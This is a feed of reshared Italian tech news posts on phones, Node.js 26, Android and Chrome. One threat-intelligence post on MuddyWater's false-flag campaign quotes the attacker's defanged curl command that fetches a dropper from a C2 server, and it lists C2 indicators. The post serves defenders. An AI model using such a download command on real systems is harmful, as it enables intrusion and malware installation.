La linea Mix Fold — i pieghevoli a libro di grande formato — non sarebbe interessata dalla pausa. Anzi, circolano voci su un Mix Fold 5 in sviluppo che rappresenterebbe la prossima mossa di Xiaomi nel settore foldable. L’azienda potrebbe quindi aver scelto di concentrarsi sul segmento premium dei book-style, abbandonando temporaneamente la corsa ai pieghevoli compatti.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Sony Xperia 1 VIII: la Japan-first strategy cambia le regole del lancio, Europa a giugno


Sony Xperia 1 VIII si avvicina al lancio e i leak si fanno sempre più precisi. La novità più interessante riguarda la strategia di distribuzione: stando alle ultime indiscrezioni, il mercato giapponese riceverà il telefono prima dell'Europa, invertendo la tendenza storica della serie Xperia. Europa: disponibile dal 26 giugno 2026 Per il mercato europeo, la data cerchiata in rosso sarebbe il 26 giugno 2026. Il prezzo trapelato è di circa 1.729 euro in bundle con le cuffie wireless […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Sony Xperia 1 VIII si avvicina al lancio e i leak si fanno sempre più precisi. La novità più interessante riguarda la strategia di distribuzione: stando alle ultime indiscrezioni, il mercato giapponese riceverà il telefono prima dell’Europa, invertendo la tendenza storica della serie Xperia.

Europa: disponibile dal 26 giugno 2026


Per il mercato europeo, la data cerchiata in rosso sarebbe il 26 giugno 2026. Il prezzo trapelato è di circa 1.729 euro in bundle con le cuffie wireless WH-1000XM6, ma la cifra per il solo smartphone non è ancora nota. I colori previsti sono quattro: nero, bianco, rosso e giallo, con le ultime due tonalità che rappresentano una scelta audace e insolita per il brand.

Xperia AI e fotocamera con tele rinnovato


Sul fronte hardware, la principale novità fotografica sarebbe un teleobiettivo di nuova generazione all’interno della classica configurazione con tre sensori. Fa capolino anche “Xperia AI”, una suite di funzioni intelligenti che potrebbero toccare la gestione della fotocamera, l’autonomia e le ottimizzazioni di sistema. Sony punta ancora sull’esperienza di scatto professionale come punto di forza distintivo.

Giappone prima dell’Europa: un cambio di rotta significativo


Da sempre, i flagship Xperia arrivavano in Europa con qualche settimana di anticipo rispetto al Giappone. Questa volta la situazione si capovolge, con Giappone e mercati asiatici (Hong Kong, Taiwan) che precedono il lancio europeo. Un segnale che Sony sta ricalibrando le proprie priorità geografiche, forse per puntare con più forza sul proprio mercato domestico dove il brand gode di una base fedele molto solida.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Incus 7.0 LTS: rilasciato il gestore di container e macchine virtuali con supporto a lungo termine


Incus è un sistema avanzato per la gestione di container (ambienti isolati che condividono il kernel del sistema operativo ma funzionano come piccoli sistemi indipendenti) e macchine virtuali (sistemi operativi completi eseguiti in modo isolato tramite un hypervisor). Il progetto...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


Il gruppo APT iraniano MuddyWater ha condotto un'operazione di cyberspionaggio mascherandola da attacco ransomware Chaos. Rapid7 rivela come Microsoft Teams sia stato usato per rubare credenziali e bypassare l'MFA, con il vero obiettivo di esfiltrazione dati e persistenza a lungo termine: non l'estorsione finanziaria.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo


MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos


Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa


L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica


Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma


Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica


Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori


  • Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
  • Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
  • Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
  • MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
  • Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.
Questa voce è stata modificata (1 mese fa)

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy


Node.js 26.0.0 è disponibile come release Current: Temporal API abilitata di default, aggiornamento a V8 14.6 con nuove proposte TC39, Undici 8.0 e importanti rimozioni di API legacy. Tutto ciò che dovete sapere prima del passaggio a LTS di ottobre 2026.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default


La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

  • Temporal.PlainDate: una data senza orario né fuso orario
  • Temporal.PlainTime: un orario senza data né fuso orario
  • Temporal.PlainDateTime: data e orario senza fuso orario
  • Temporal.ZonedDateTime: data e orario con fuso orario esplicito
  • Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
  • Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39


Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()


La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()


La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione


La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti


Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()


Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*


I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types


Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime


Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

  • module.register() — deprecato in favore di import.meta.url patterns
  • Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
  • Alcune API stream (DEP0201)


Come aggiornare


Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:
fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:
  1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
  2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
  3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
  4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'


Conclusioni


Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026

Questa voce è stata modificata (1 mese fa)

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Google conferma: niente Liquid Glass su Pixel, Android rimane fedele al Material Design


Google ha messo fine alle speculazioni: i Pixel non adotteranno il design Liquid Glass di Apple. È stato lo stesso capo della divisione Android, Sameer Samat, a smentire sul web le immagini non ufficiali che circolavano online, definendo l'ipotesi di un'imitazione dello stile Apple semplicemente "impossibile". Cos'è il Liquid Glass e perché se ne parla Il Liquid Glass è il nuovo linguaggio visivo introdotto da Apple con iOS 26, caratterizzato da superfici trasparenti con effetti di […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google ha messo fine alle speculazioni: i Pixel non adotteranno il design Liquid Glass di Apple. È stato lo stesso capo della divisione Android, Sameer Samat, a smentire sul web le immagini non ufficiali che circolavano online, definendo l’ipotesi di un’imitazione dello stile Apple semplicemente “impossibile”.

Cos’è il Liquid Glass e perché se ne parla


Il Liquid Glass è il nuovo linguaggio visivo introdotto da Apple con iOS 26, caratterizzato da superfici trasparenti con effetti di rifrazione della luce e un aspetto simile al vetro. Il design ha diviso l’utenza Apple tra entusiasti e scettici, ma la sua visibilità ha inevitabilmente scatenato il dibattito anche nel campo Android.

Android resta fedele al Material Design


Google porta avanti sin dal 2014 il proprio sistema di design chiamato Material Design, che nel tempo si è evoluto introducendo nuove espressioni cromatiche e animazioni più fluide. Secondo la posizione ufficiale, il percorso evolutivo di Android proseguirà su questa strada, senza deviazioni verso l’estetica di Cupertino.

Qualche trasparenza in più potrebbe arrivare con Android 17


Questo non significa che l’interfaccia di Android rimarrà immutata. Stando alle indiscrezioni più recenti, Android 17 potrebbe introdurre effetti di sfocatura e trasparenza potenziati, rendendo l’UI visivamente più morbida e ariosa. Si tratterebbe però di un’evoluzione naturale del Material Design, non di un’imitazione di Apple.

Da ricordare che l’ecosistema Android è aperto: alcuni produttori hanno già adottato nelle proprie interfacce personalizzate elementi simili al Liquid Glass. Ma i Pixel, in quanto dispositivi di riferimento di Google, resteranno ancorati alla filosofia originale di Android.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Il PIN della SIM: la maggioranza degli utenti Android non lo usa, ma Android 17 vuole cambiarlo


Quanti di voi hanno attivato il PIN della SIM sul proprio smartphone? Secondo un'indagine condotta da Android Authority su oltre 1800 utenti, la risposta è: molto pochi. Ben il 58,3% ha dichiarato di non aver mai impostato questa protezione, mentre solo il 34% utilizza attivamente il blocco SIM. Perché il PIN della SIM è importante In caso di furto o smarrimento del telefono, il PIN della SIM impedisce a chi si impossessa del dispositivo di effettuare chiamate, inviare SMS o accedere […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Quanti di voi hanno attivato il PIN della SIM sul proprio smartphone? Secondo un’indagine condotta da Android Authority su oltre 1800 utenti, la risposta è: molto pochi. Ben il 58,3% ha dichiarato di non aver mai impostato questa protezione, mentre solo il 34% utilizza attivamente il blocco SIM.

Perché il PIN della SIM è importante


In caso di furto o smarrimento del telefono, il PIN della SIM impedisce a chi si impossessa del dispositivo di effettuare chiamate, inviare SMS o accedere alla rete mobile. È uno scudo aggiuntivo che completa la protezione offerta dal blocco schermo. Nonostante questo, la maggior parte degli utenti preferisce non usarlo, trovando scomodo dover inserire un codice aggiuntivo a ogni riavvio.

Android 17 semplifica tutto con una nuova funzione automatica


Google ha ascoltato le lamentele e con Android 17 introduce “Automatic SIM lock protection”: una funzione che automatizza l’inserimento del PIN SIM sincronizzandolo con lo sblocco schermo del telefono. In pratica, non sarà più necessario digitare il PIN separatamente a ogni riavvio, perché il sistema lo gestirà in autonomia.

eSIM: più sicura, ma non invulnerabile


Chi utilizza una eSIM potrebbe sentirsi più al sicuro, poiché la scheda non può essere fisicamente rimossa. Tuttavia, se qualcuno riesce a sbloccare il telefono, le funzioni di comunicazione restano esposte. Il PIN SIM rimane quindi uno strumento valido anche nell’era delle eSIM. La nuova funzionalità di Android 17 punta proprio a ridurre l’attrito percepito, rendendo la sicurezza meno faticosa da mantenere.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Google offre fino a 1,5 milioni di dollari a chi riesce a bucare un Pixel: nuove regole per i bug bounty


Google ha riformulato il proprio programma di bug bounty per i Pixel alzando significativamente le puntate. Chi riesce a dimostrare un attacco zero-click in grado di compromettere il chip di sicurezza Titan M2 con effetti persistenti sul dispositivo può ora aspirare a una ricompensa fino a 1,5 milioni di dollari. Più soldi per le vulnerabilità più pericolose La nuova struttura delle ricompense premia proporzionalmente la difficoltà e l'impatto dell'attacco scoperto. Un attacco […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google ha riformulato il proprio programma di bug bounty per i Pixel alzando significativamente le puntate. Chi riesce a dimostrare un attacco zero-click in grado di compromettere il chip di sicurezza Titan M2 con effetti persistenti sul dispositivo può ora aspirare a una ricompensa fino a 1,5 milioni di dollari.

Più soldi per le vulnerabilità più pericolose


La nuova struttura delle ricompense premia proporzionalmente la difficoltà e l’impatto dell’attacco scoperto. Un attacco zero-click con effetti persistenti sul Titan M2 vale fino a 1,5 milioni; lo stesso attacco senza persistenza scende a 750.000 dollari. Al contrario, i bug semplici e facilmente replicabili hanno visto ridurre il proprio valore, anche perché l’avvento degli strumenti AI ha reso questo tipo di ricerca molto più accessibile.

Cambiamenti anche per Chrome e le vulnerabilità AI


La revisione coinvolge anche Google Chrome: chi dimostra un attacco full-chain in grado di compromettere completamente il browser può ricevere fino a 250.000 dollari. Sul fronte dell’intelligenza artificiale, le vulnerabilità legate a prompt injection, manipolazione dei modelli e data leakage continuano a essere premiate con ricompense fino a 30.000 dollari.

Un messaggio di fiducia nel Titan M2


Alzare così tanto l’asticella sugli attacchi al Titan M2 manda un segnale preciso: Google è convinta che quel chip sia estremamente difficile da violare. La ricompensa record è al tempo stesso un incentivo per i migliori ricercatori di sicurezza e una dimostrazione pubblica della robustezza dell’hardware Pixel.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Mesa 26.1: nuova versione dello stack grafico open source per Vulkan, OpenGL e OpenCL


Mesa, il cui nome completo è Mesa 3D Graphics Library, è un progetto open source che fornisce un insieme articolato di driver grafici e implementazioni delle principali API grafiche (Application Programming Interface, cioè interfacce di programmazione per applicazioni) utilizzate per il rendering...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Galaxy Z Fold 8 con Snapdragon, Galaxy Z Flip 8 con Exynos: Samsung divide le sue strategie di chip


Nuove indiscrezioni fanno luce sulla dotazione hardware dei prossimi pieghevoli di Samsung. Secondo i leak più recenti, Galaxy Z Fold 8 e il nuovo Galaxy Z Fold 8 Wide opteranno per Snapdragon 8 Elite Gen 5 in versione ottimizzata, mentre Galaxy Z Flip 8 potrebbe invece adottare il chip Exynos 2600 sviluppato internamente da Samsung. Il Fold punta al massimo delle prestazioni Il Galaxy Z Fold 8 si conferma come il flagship di punta: con uno Snapdragon 8 Elite Gen 5 appositamente calibrato […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Nuove indiscrezioni fanno luce sulla dotazione hardware dei prossimi pieghevoli di Samsung. Secondo i leak più recenti, Galaxy Z Fold 8 e il nuovo Galaxy Z Fold 8 Wide opteranno per Snapdragon 8 Elite Gen 5 in versione ottimizzata, mentre Galaxy Z Flip 8 potrebbe invece adottare il chip Exynos 2600 sviluppato internamente da Samsung.

Il Fold punta al massimo delle prestazioni


Il Galaxy Z Fold 8 si conferma come il flagship di punta: con uno Snapdragon 8 Elite Gen 5 appositamente calibrato per i dispositivi Galaxy, dovrebbe offrire un salto prestazionale sensibile rispetto alla generazione precedente, sia in termini di CPU che di efficienza energetica. Da notare anche la presenza di un inedito modello “Wide”, una variante con display più ampio che amplierebbe ulteriormente la gamma Fold.

Il Flip 8 potrebbe tornare a Exynos


Per il Galaxy Z Flip 8 la situazione è più complessa. Le ipotesi in campo sono diverse: un’adozione esclusiva di Exynos 2600, oppure una variazione regionale con Exynos per alcuni mercati e Snapdragon per altri. Samsung sta cercando di riabilitare il proprio chip di punta dopo le polemiche degli anni scorsi, e il Flip — considerato più lifestyle che performance-oriented — sarebbe il banco di prova ideale.

Due filosofie, due prodotti


Questa biforcazione nella scelta dei chip rispecchia le diverse anime dei due dispositivi. Il Fold è un prodotto per chi non scende a compromessi sulle prestazioni; il Flip è pensato per l’utente che vuole un telefono compatto e di stile, dove l’equilibrio tra potenza e autonomia conta più dei benchmark. I nuovi Galaxy Z sono attesi per la seconda metà del 2026.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

eSIM sui Pixel in tilt: connettività instabile per Pixel 9 e 10, Google è al lavoro


Da alcune settimane si moltiplicano le segnalazioni di problemi con le eSIM sui Google Pixel. I possessori di Pixel 9 e Pixel 10 in particolare riferiscono di disconnessioni improvvise dalla rete mobile, impossibilità di agganciare il segnale e situazioni in cui solo un riavvio del telefono — spesso temporaneo — risolve la situazione. Sintomi variabili e diffusi Il problema non si manifesta in modo uniforme: c'è chi perde il segnale sporadicamente, chi si ritrova con la eSIM […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Da alcune settimane si moltiplicano le segnalazioni di problemi con le eSIM sui Google Pixel. I possessori di Pixel 9 e Pixel 10 in particolare riferiscono di disconnessioni improvvise dalla rete mobile, impossibilità di agganciare il segnale e situazioni in cui solo un riavvio del telefono — spesso temporaneo — risolve la situazione.

Sintomi variabili e diffusi


Il problema non si manifesta in modo uniforme: c’è chi perde il segnale sporadicamente, chi si ritrova con la eSIM completamente inutilizzabile per giorni. Le segnalazioni arrivano da utenti di operatori e paesi diversi, il che esclude cause legate a un singolo carrier. La reinstallazione del profilo eSIM non sembra risolvere il problema in modo definitivo.

Possibile collegamento con beta di Android 17


Alcune analisi indicano una possibile correlazione con l’installazione manuale di firmware sperimentali legati ad Android 17. Chi partecipa ai programmi beta sembrerebbe più esposto al problema, anche se Google non ha ancora confermato ufficialmente questo collegamento. Si tratta per ora di ipotesi, ma vale la pena considerarle se si è iscritti al programma beta.

Google al lavoro su una soluzione


Google ha confermato di essere a conoscenza del problema e di aver avviato le indagini. Nessuna indicazione precisa sui tempi di rilascio di una patch, ma il fatto che il bug sia già stato riconosciuto ufficialmente fa sperare in un aggiornamento correttivo nel breve periodo. Se avete un Pixel con eSIM e riscontrate questi sintomi, potete segnalare il problema attraverso l’app Feedback del dispositivo.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Google Chrome scarica in segreto un modello AI da 4 GB: nessuna notifica agli utenti


Google Chrome sta scaricando silenziosamente un file da circa 4 GB sui dispositivi degli utenti. A scoprirlo è stato un ricercatore di privacy, che ha notato la presenza di dati legati a un modello AI locale nelle cartelle interne del browser, senza che l'utente avesse ricevuto alcuna notifica o fornito il proprio consenso esplicito. Un modello AI che occupa spazio ma viene poco usato Il file in questione è collegato a un modello di intelligenza artificiale leggero di Google, pensato per […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google Chrome sta scaricando silenziosamente un file da circa 4 GB sui dispositivi degli utenti. A scoprirlo è stato un ricercatore di privacy, che ha notato la presenza di dati legati a un modello AI locale nelle cartelle interne del browser, senza che l’utente avesse ricevuto alcuna notifica o fornito il proprio consenso esplicito.

Un modello AI che occupa spazio ma viene poco usato


Il file in questione è collegato a un modello di intelligenza artificiale leggero di Google, pensato per funzionare in locale sul dispositivo. Il paradosso segnalato dai ricercatori è che le funzioni AI più visibili di Chrome continuano comunque a appoggiarsi ai server remoti di Google, rendendo l’utilità pratica del download locale tutt’altro che evidente a fronte dei 4 GB occupati.

Il problema riguarda Windows, Mac e Linux


Il comportamento è stato verificato su più piattaforme: Windows, macOS e Linux. Chi ha spazio limitato sul proprio disco o usa connessioni dati contingentate potrebbe subire conseguenze concrete senza nemmeno accorgersene. Tra le critiche più diffuse c’è anche il fatto che cancellare il file non basta: Chrome lo riscarica automaticamente.

Come disattivare il download (non è semplice)


Per impedire questo comportamento non basta andare nelle impostazioni standard del browser: è necessario modificare i flag di sviluppo, un’operazione fuori dalla portata della maggior parte degli utenti comuni. Alcuni esperti hanno già sollevato la questione della compatibilità con le normative sulla privacy, come il GDPR europeo. Google non ha ancora rilasciato dichiarazioni ufficiali in merito.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Il progetto Ghostty lascia GitHub perché lo ritiene inaffidabile e sì, è una notizia importante


Se non avete mai sentito parlare di Ghostty, dovete sapere che è un terminale cross-platform open-source di nuova generazione, creato e manutenuto da uno sviluppatore che si chiama Mitchell Hashimoto. Se poi non avete mai sentito parlare di Hashimoto, dovreste concentrarvi sulla prima parte del cognome, quel “Hashi” è lo stesso che appare in “HashiCorp”,...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Edge: password in chiaro nella memoria RAM. Per Microsoft è “by design”


Le password salvate in Microsoft Edge finiscono in chiaro nella memoria RAM. Microsoft conferma: è un comportamento “by design”. Ecco cosa significa e i rischi.
L'articolo Edge: password in chiaro nella memoria RAM. Per Microsoft è “by design” proviene da Marco's Box.

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

AMD e Valve portano l’HDMI 2.1 su GNU/Linux: una svolta per i videogiochi con schede Radeon


Per anni, gli utenti delle distribuzioni GNU/Linux con schede grafiche AMD Radeon hanno dovuto affrontare una limitazione frustrante: pur avendo hardware e televisori compatibili con lo standard HDMI 2.1, il sistema operativo rimaneva bloccato...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Fish Shell 4.7: Novità e Miglioramenti per la Shell Amichevole


